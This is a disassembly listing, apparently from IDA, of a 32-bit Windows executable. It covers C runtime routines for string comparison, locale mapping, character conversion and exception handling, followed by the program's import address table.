call sub_4265C1
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_4265C1
pop ecx
test bx, bx
pop ecx
jz short loc_426459
cmp bx, ax
jz short loc_426435
loc_426459: ; CODE XREF: sub_4263E5+6Dj
pop edi
pop esi
loc_42645B: ; CODE XREF: sub_4263E5+3Dj
; sub_4263E5+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_4263E5 endp
; =============== S U B R O U T I N E =======================================
sub_426465 proc near ; CODE XREF: sub_41843B+21p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648C
push esi
call sub_41B9C0
inc eax
push eax
call sub_41BEB5
pop ecx
test eax, eax
pop ecx
jz short loc_42648C
push esi
push eax
call sub_41C890
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648C: ; CODE XREF: sub_426465+7j
; sub_426465+1Aj
xor eax, eax
pop esi
retn
sub_426465 endp
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_4264A5+3p
mov dword ptr [ecx], offset off_427CEC
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4264A4
push ecx
call sub_41BA91
pop ecx
locret_4264A4: ; CODE XREF: sub_426490+Bj
retn
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264A5 proc near ; DATA XREF: .rdata:off_427CECo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426490
test [esp+4+arg_0], 1
jz short loc_4264BB
push esi
call sub_41D65F
pop ecx
loc_4264BB: ; CODE XREF: sub_4264A5+Dj
mov eax, esi
pop esi
retn 4
sub_4264A5 endp
; =============== S U B R O U T I N E =======================================
sub_4264C1 proc near ; DATA XREF: .rdata:off_427CF4o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426564
test [esp+4+arg_0], 1
jz short loc_4264D7
push esi
call sub_41D65F
pop ecx
loc_4264D7: ; CODE XREF: sub_4264C1+Dj
mov eax, esi
pop esi
retn 4
sub_4264C1 endp
; =============== S U B R O U T I N E =======================================
sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp
; sub_4261D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
push dword ptr [edi]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42650C
push dword ptr [edi]
push eax
call sub_41C890
pop ecx
pop ecx
loc_42650C: ; CODE XREF: sub_4264DD+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_4264DD endp
; =============== S U B R O U T I N E =======================================
sub_42651A proc near ; CODE XREF: sub_426218+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427CF4
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426557
push dword ptr [edi+4]
call sub_41B9C0
inc eax
push eax
call sub_41D9A5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42655D
push dword ptr [edi+4]
push eax
call sub_41C890
pop ecx
pop ecx
jmp short loc_42655D
; ---------------------------------------------------------------------------
loc_426557: ; CODE XREF: sub_42651A+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_42655D: ; CODE XREF: sub_42651A+2Ej
; sub_42651A+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42651A endp
; =============== S U B R O U T I N E =======================================
sub_426564 proc near ; CODE XREF: sub_4260BA+16j
; sub_4264C1+3p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427CF4
jz short locret_426579
push dword ptr [ecx+4]
call sub_41D65F
pop ecx
locret_426579: ; CODE XREF: sub_426564+Aj
retn
sub_426564 endp
; =============== S U B R O U T I N E =======================================
sub_42657A proc near ; DATA XREF: .rdata:00427CF8o
mov eax, [ecx+4]
test eax, eax
jnz short locret_426586
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_426586: ; CODE XREF: sub_42657A+5j
retn
sub_42657A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426587 proc near ; CODE XREF: sub_426173+37p
; sub_42629A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D10
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
call ds:dword_427050 ; RaiseException
pop edi
pop esi
leave
retn 8
sub_426587 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p
; sub_4263E5+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_4265D3
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_4265D3: ; CODE XREF: sub_4265C1+Bj
cmp dword_4DBE84, 0
jnz short loc_4265ED
cmp ax, 41h
jb short locret_426634
cmp ax, 5Ah
ja short locret_426634
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_4265ED: ; CODE XREF: sub_4265C1+19j
cmp ax, 100h
jnb short loc_426607
push 1
push eax
call sub_42686F
pop ecx
test eax, eax
pop ecx
jnz short loc_426607
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426607: ; CODE XREF: sub_4265C1+30j
; sub_4265C1+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBE84
call sub_426636
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426634
mov ax, [ebp+var_2]
locret_426634: ; CODE XREF: sub_4265C1+1Fj
; sub_4265C1+25j ...
leave
retn
sub_4265C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC010, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
call ds:dword_427044 ; LCMapStringW
test eax, eax
jz short loc_42668A
mov dword_4DC010, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636+4Aj
push esi
push esi
push ebx
push offset word_4CB88C
push edi
push esi
call ds:dword_427048 ; LCMapStringA
test eax, eax
jz loc_42682B
mov dword_4DC010, 2
loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC010
cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427044 ; LCMapStringW
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call ds:dword_427188 ; WideCharToMultiByte
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call ds:dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427048 ; LCMapStringA
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427048 ; LCMapStringA
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call ds:dword_4270E8 ; MultiByteToWideChar
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE7C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC014
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
call ds:dword_427014 ; GetStringTypeW
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push edi
call ds:dword_427018 ; GetStringTypeA
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC014, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_427014 ; GetStringTypeW
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call ds:dword_427188 ; WideCharToMultiByte
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call ds:dword_427188 ; WideCharToMultiByte
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE84
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call ds:dword_427018 ; GetStringTypeA
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: .rdata:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: .text:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; =============== S U B R O U T I N E =======================================
sub_426ABC proc near ; DATA XREF: .rdata:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
sub_426ABC endp
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
_text ends
; Section 2. (virtual address 00027000)
; Virtual size : 00001B90 ( 7056.)
; Section size in file : 00001B90 ( 7056.)
; Offset to raw data for section: 00027000
; Flags 40000040: Data Readable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read
_rdata segment para public 'DATA' use32
assume cs:_rdata
;org 427000h
dword_427000 dd 77E78EAAh ; DATA XREF: sub_41036B+5ECr
; sub_41716F+C0r ...
dword_427004 dd 77E70192h ; DATA XREF: sub_4251BB+F9r
dword_427008 dd 77E7176Ch ; DATA XREF: sub_424FB8+8r
dword_42700C dd 77E7339Ch ; DATA XREF: sub_424F80+Cr
dword_427010 dd 77E7C9E7h ; DATA XREF: sub_424F62+5r
; sub_424F73+6r
dword_427014 dd 77E7C866h ; DATA XREF: sub_4244F4+3Fr
; sub_4244F4+12Dr ...
dword_427018 dd 77E641EBh ; DATA XREF: sub_4244F4+59r
; sub_4244F4+8Dr ...
dword_42701C dd 77E73FF9h ; DATA XREF: sub_4240E7+2Cr
dword_427020 dd 77E7FF2Eh ; DATA XREF: sub_423FB9:loc_424009r
; sub_424030:loc_424083r
dword_427024 dd 77E78406h ; DATA XREF: sub_423B0B+FFr
; sub_423B0B+166r ...
dword_427028 dd 77E79C3Dh ; DATA XREF: sub_423B0B+158r
; sub_423DD1+143r
dword_42702C dd 77E7C931h ; DATA XREF: sub_423B0B+19Dr
dword_427030 dd 77E77EE1h ; DATA XREF: sub_4239D9+9r
dword_427034 dd 77E67702h ; DATA XREF: sub_4239D9:loc_423A08r
; sub_4239D9+E1r
dword_427038 dd 77E7C9E1h ; DATA XREF: sub_4239D9+CEr
dword_42703C dd 77E9C5B1h ; DATA XREF: sub_4239D9+11Fr
dword_427040 dd 77EB9A84h ; DATA XREF: sub_4234F7+138r
dword_427044 dd 77E781F9h ; DATA XREF: sub_4232A8+42r
; sub_4232A8+14Dr ...
dword_427048 dd 77E77405h ; DATA XREF: sub_4232A8+5Er
; sub_4232A8+A7r ...
dword_42704C dd 77F522F2h ; DATA XREF: sub_422EA8+58r
dword_427050 dd 77E6D706h ; DATA XREF: sub_42194C+215r
; sub_426587+2Er
dword_427054 dd 77E6C703h ; DATA XREF: sub_4208E2+1Ar
dword_427058 dd 77E7A13Fh ; DATA XREF: sub_4208E2+2Fr
dword_42705C dd 77E7849Fh ; DATA XREF: sub_420749+48r
; sub_420988+14r
dword_427060 dd 77E73196h ; DATA XREF: sub_424F9C+Cr
dword_427064 dd 77E7980Ah ; DATA XREF: sub_41ED74+76r
; sub_41EE25+51r ...
dword_427068 dd 77E79E34h ; DATA XREF: sub_41E742+240r
; sub_41F216+120r ...
dword_42706C dd 77E75CB5h ; DATA XREF: sub_40111D+DFr
; sub_401221+7Ar ...
dword_427070 dd 77E77963h ; DATA XREF: sub_40111D+B8r
; sub_401221+2DBr ...
dword_427074 dd 77E61BB8h ; DATA XREF: sub_40111D+A7r
; sub_401221+2C3r ...
dword_427078 dd 77E7A099h ; DATA XREF: sub_40111D+83r
; sub_401221+DAr ...
dword_42707C dd 77E704FCh ; DATA XREF: sub_40111D+74r
; sub_401221+C4r ...
dword_427080 dd 77E61BE6h ; DATA XREF: sub_40111D+29r
; sub_401221+1F4r ...
dword_427084 dd 77E7AC37h ; DATA XREF: sub_401221+3C1r
; sub_401ACD+79Fr ...
dword_427088 dd 77E73628h ; DATA XREF: sub_401221+33Br
; sub_401ACD+76D4r ...
dword_42708C dd 77E706B7h ; DATA XREF: sub_401221:loc_401495r
; sub_41761C+15r ...
dword_427090 dd 77E80656h ; DATA XREF: sub_401221:loc_401488r
dword_427094 dd 77F5157Dh ; DATA XREF: sub_401221+1D8r
; sub_401221+3E6r ...
dword_427098 dd 77E6BD13h ; DATA XREF: sub_401221:loc_4013DCr
dword_42709C dd 77E70396h ; DATA XREF: sub_401221+1B5r
; sub_401221+221r ...
dword_4270A0 dd 77E74CABh ; DATA XREF: sub_401221+19Er
; sub_4100B4+110r ...
dword_4270A4 dd 77E79F93h ; DATA XREF: sub_401221+D3r
; sub_409909+2r ...
dword_4270A8 dd 77E79D5Bh ; DATA XREF: sub_401221+6Br
; sub_401221+311r ...
dword_4270AC dd 77E7C2C4h ; DATA XREF: sub_401221+64r
dword_4270B0 dd 77E7751Ah ; DATA XREF: sub_401221+2Cr
; sub_401ACD+253Br ...
dword_4270B4 dd 77E75CEBh ; DATA XREF: sub_401ACD+791Ar
; sub_40B4F5+2Br ...
dword_4270B8 dd 77E6AD34h ; DATA XREF: sub_401ACD+68CFr
; sub_4188A6+35r
dword_4270BC dd 77E71AFEh ; DATA XREF: sub_401ACD+6697r
dword_4270C0 dd 77E805D8h ; DATA XREF: sub_409909+13Ar
; sub_409909:loc_409E17r ...
dword_4270C4 dd 77E7A5FDh ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dword_4270C8 dd 77E65F4Ch ; DATA XREF: .text:0040ABEDr
; sub_419AE0+34r
dword_4270CC dd 77E7513Ch ; DATA XREF: .text:0040AC84r
; .text:0040B0C3r
dword_4270D0 dd 77E7C657h ; DATA XREF: .text:0040ACF8r
; .text:0040AF0Fr ...
dword_4270D4 dd 77E73C49h ; DATA XREF: sub_40B425+4Ar
; sub_40BB65+1AFr ...
dword_4270D8 dd 77F7E300h ; DATA XREF: sub_40C3E8+142r
dword_4270DC dd 77F7E21Fh ; DATA XREF: sub_40C3E8+D7r
dword_4270E0 dd 77E7C706h ; DATA XREF: sub_40C600+77r
dword_4270E4 dd 77F53275h ; DATA XREF: sub_40C600+6Br
; sub_40C600+22Fr
dword_4270E8 dd 77E77CCEh ; DATA XREF: sub_40DB5E+66r
; sub_40DC41+65r ...
dword_4270EC dd 77E78B82h ; DATA XREF: .text:0040E081r
; sub_40EED1+25r ...
dword_4270F0 dd 77E79D8Ch ; DATA XREF: .text:0040E04Fr
; sub_40EE8E+3Br ...
dword_4270F4 dd 77E73EACh ; DATA XREF: .text:0040E035r
dword_4270F8 dd 77E7A837h ; DATA XREF: .text:0040DFB4r
; sub_4100B4+1CBr ...
dword_4270FC dd 77E616B4h ; DATA XREF: sub_40EF1C+19Br
; sub_4116D6+115r ...
dword_427100 dd 77E79CE3h ; DATA XREF: sub_40EF1C+111r
; sub_411920+77r ...
dword_427104 dd 77E79C90h ; DATA XREF: sub_40EF1C+FDr
; sub_40EF1C+10Ar ...
dword_427108 dd 77E7727Ah ; DATA XREF: sub_40EF1C+74r
; sub_411827+23r ...
dword_42710C dd 77E64106h ; DATA XREF: sub_40FF31+A0r
; sub_41AF8F+1B6r
dword_427110 dd 77E64006h ; DATA XREF: sub_40FF31+8Cr
; sub_41AF8F+19Fr
dword_427114 dd 77E793EFh ; DATA XREF: sub_4100B4+1F5r
; sub_4109F1+38r ...
dword_427118 dd 77E79424h ; DATA XREF: sub_41036B+280r
; sub_41761C+135r
dword_42711C dd 77E794BFh ; DATA XREF: sub_41036B+272r
; sub_41761C+123r
dword_427120 dd 77E75E67h ; DATA XREF: sub_41036B+212r
; sub_41036B+5DBr ...
dword_427124 dd 77E75D9Eh ; DATA XREF: sub_41036B+201r
; sub_41716F+26r
dword_427128 dd 77E78C81h ; DATA XREF: sub_4109F1+6Cr
; sub_4161C1+259r ...
dword_42712C dd 77E76968h ; DATA XREF: sub_41144E+5Fr
dword_427130 dd 77E74C59h ; DATA XREF: sub_4116D6+C7r
dword_427134 dd 77EC7C51h ; DATA XREF: sub_411AAB+5Er
dword_427138 dd 77E802FCh ; DATA XREF: sub_413694+18Cr
; sub_413694+2D4r ...
dword_42713C dd 77E6D75Bh ; DATA XREF: sub_413694+182r
; sub_4143F7+FFr
dword_427140 dd 77E70F89h ; DATA XREF: sub_415D38+Dr
dword_427144 dd 77E80618h ; DATA XREF: sub_4172C1+170r
; sub_418AF1+D4r
dword_427148 dd 77E78147h ; DATA XREF: sub_4172C1+BCr
dword_42714C dd 77F51597h ; DATA XREF: sub_417493+41r
; sub_417493+F5r ...
dword_427150 dd 77F516F8h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar ...
dword_427154 dd 77E77CB7h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dword_427158 dd 77E7F01Ah ; DATA XREF: sub_41761C+88r
; sub_4177C3+55r
dword_42715C dd 77E61A54h ; DATA XREF: sub_41761C+56r
; sub_4177C3+97r
dword_427160 dd 77E7C3A5h ; DATA XREF: sub_41761C+34r
; sub_4177C3+2Er
dword_427164 dd 77E76A60h ; DATA XREF: sub_418699+2Dr
dword_427168 dd 77E71B14h ; DATA XREF: sub_418723+26r
dword_42716C dd 77E7166Fh ; DATA XREF: sub_418723+1Dr
dword_427170 dd 77E75090h ; DATA XREF: sub_41875E+69r
dword_427174 dd 77E74D76h ; DATA XREF: sub_41875E+36r
dword_427178 dd 77E77797h ; DATA XREF: sub_41875E+25r
dword_42717C dd 77E7011Ah ; DATA XREF: sub_4187E0+96r
dword_427180 dd 77E73CE2h ; DATA XREF: sub_4187E0+60r
dword_427184 dd 77E668D9h ; DATA XREF: sub_4188A6+15Dr
dword_427188 dd 77E79924h ; DATA XREF: sub_4190A5+13r
; sub_4232A8+20Dr ...
dword_42718C dd 77E76A2Eh ; DATA XREF: sub_419C09+DEr
dword_427190 dd 77E7FF65h ; DATA XREF: sub_41A05C+5Ar
